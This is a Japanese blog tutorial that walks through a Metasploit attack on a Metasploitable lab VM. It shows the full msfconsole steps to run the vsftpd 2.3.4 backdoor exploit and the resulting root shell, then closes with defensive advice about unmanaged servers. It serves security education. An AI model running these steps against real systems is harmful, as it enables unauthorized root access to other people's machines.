metasploitを使ってみよう!metasploitによるハッキング実践

セキュリティ

前回前々回からかなり時間が空いてしまいましたね。。。

最近以下の勉強会でmetasploitのLTをやった来たこともあり、今回この内容で記事にしていきます。

[秋葉原]第29回ゼロから始めるセキュリティ入門 勉強会(発表・LT大歓迎)

なお、悪用等した場合等は法的に処罰される可能性がありますので、自分の管理下以外のマシンには実施しないでください。

環境の説明

前回から結構間が空いてしまったので、環境が少し変わりました。

具体的にはIPアドレスが変更になっています。

KaliLinux:192.168.70.130

Metasploitable:192.168.70.131

操作はKaliLinux(192.168.70.130)に対して、SSHで接続して行っています。

まずは対象に疎通できるか確認します。

# ping 192.168.70.131
PING 192.168.70.131 (192.168.70.131) 56(84) bytes of data.
64 bytes from 192.168.70.131: icmp_seq=1 ttl=64 time=0.544 ms
64 bytes from 192.168.70.131: icmp_seq=2 ttl=64 time=0.961 ms
64 bytes from 192.168.70.131: icmp_seq=3 ttl=64 time=0.473 ms
^C
--- 192.168.70.131 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 7ms
rtt min/avg/max/mdev = 0.473/0.659/0.961/0.216 ms

問題なさそうですね。

では前回のnmapの結果を参考に実際にmetasploitを使用して「シェルを取る」ということをやってきます。

# msfconsole

上記コマンドを入力すると以下のようにmetasploitが起動します。

前回色々なポートが開いていましたね。。。その中で分かり易い21番ポートに対して実際に攻撃してみましょう。

前回nmapで以下のような結果が出てきました。

・21/tcp open ftp vsftpd 2.3.4

まずはどんな脆弱性が使用できるか調べましょう!

msf5 > search vsftpd

Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ----                                  ---------------  ----       -----  -----------
   1  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  No     VSFTPD v2.3.4 Backdoor Command Execution

これはバックドアを開けて実際に侵入できるヤバイ脆弱性が使用できそうです。

ではこの脆弱性を使用して実際にハッキングしてみます!

msf5 > use exploit/unix/ftp/vsftpd_234_backdoor
#「use」で使用するexploitコードを指定
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > show options
#使用するコードの中身を確認

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target address range or CIDR identifier
   RPORT   21               yes       The target port (TCP)


Exploit target:

   Id  Name
   --  ----
   0   Automatic

対象のポート(RPORTのところ)は「21」番が指定されているのでそのままで問題ないですが、対象のIPアドレス(RHOSTのところ)が空になっていますので、こちらを設定します。

msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 192.168.70.131
#「set」でRFOSTに対象のIPアドレスを設定
RHOST => 192.168.70.131
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > show options
#念のためちゃんと設定されているか確認

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 192.168.70.131 yes The target address range or CIDR identifier
RPORT 21 yes The target port (TCP)

Exploit target:

Id Name
-- ----
0 Automatic

これで対象のIPアドレスとポートが指定できましたので、あとは実際に攻撃するだけです!

msf5 exploit(unix/ftp/vsftpd_234_backdoor) > run
#exploitの実行

[*] 192.168.70.131:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.70.131:21 - USER: 331 Please specify the password.
[+] 192.168.70.131:21 - Backdoor service has been spawned, handling...
[+] 192.168.70.131:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.70.130:42739 -> 192.168.70.131:6200) at 2019-08-05 21:33:26 +0900

あれ?っと思いますが、これで侵入は完了です。

例えば「uname -a」でシステム情報を出力してみましょう!

uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

と出力されました。「Linux metasploitable」と出力されているので侵入できたと分ると思います。

なお、KaliLinuxでは以下のように表示されるはずですので違いはすぐに分かりますね!

$ uname -a
Linux kali 4.19.0-kali4-amd64 #1 SMP Debian 4.19.28-2kali1 (2019-03-18) x86_64 GNU/Linux

また「whoami」と入力すると「root」と表示されます。

「root」ユーザで侵入できていますので、このIPアドレスは思いのままですね!

この他のポートでも同じように侵入できるものもありますので、皆様も是非遊んでみてください。

最後に

結構時間が空いてしまいましたが、記事にすることができました。

すぐに侵入できる問題はあんまりないなーと思っている方もいらっしゃるかもしれませんが、意外とオンサイトで検査をしていると見つかることもあります。

あまり使用していない又は管理が不十分(誰が管理しているか不明)なサーバは要注意です。

一つのサーバを踏み台にして、他のサーバへアクセスできる場合もありますし、同じパスワードを使用していて一つで漏洩した情報を用いて他サーバへログイン出来てしまうこともあります。

特に一つのサーバに対して複数の業者が関係しているところは要注意です。

実は誰も管理していないポートがあり、アップデートがされておらず、大きな脆弱性がそのままになっているかもしれません。

今一度サーバの状態を確認してみてはいかがでしょうか?

不明点や要望やこういったこともやって欲しいとの要望があれば、お問い合わせページやコメント、ツイッターからでも結構ですので、気軽にご連絡ください。

もっと使いこなしたい人は以下の書籍もありますので、手に取ってみてください。

コメント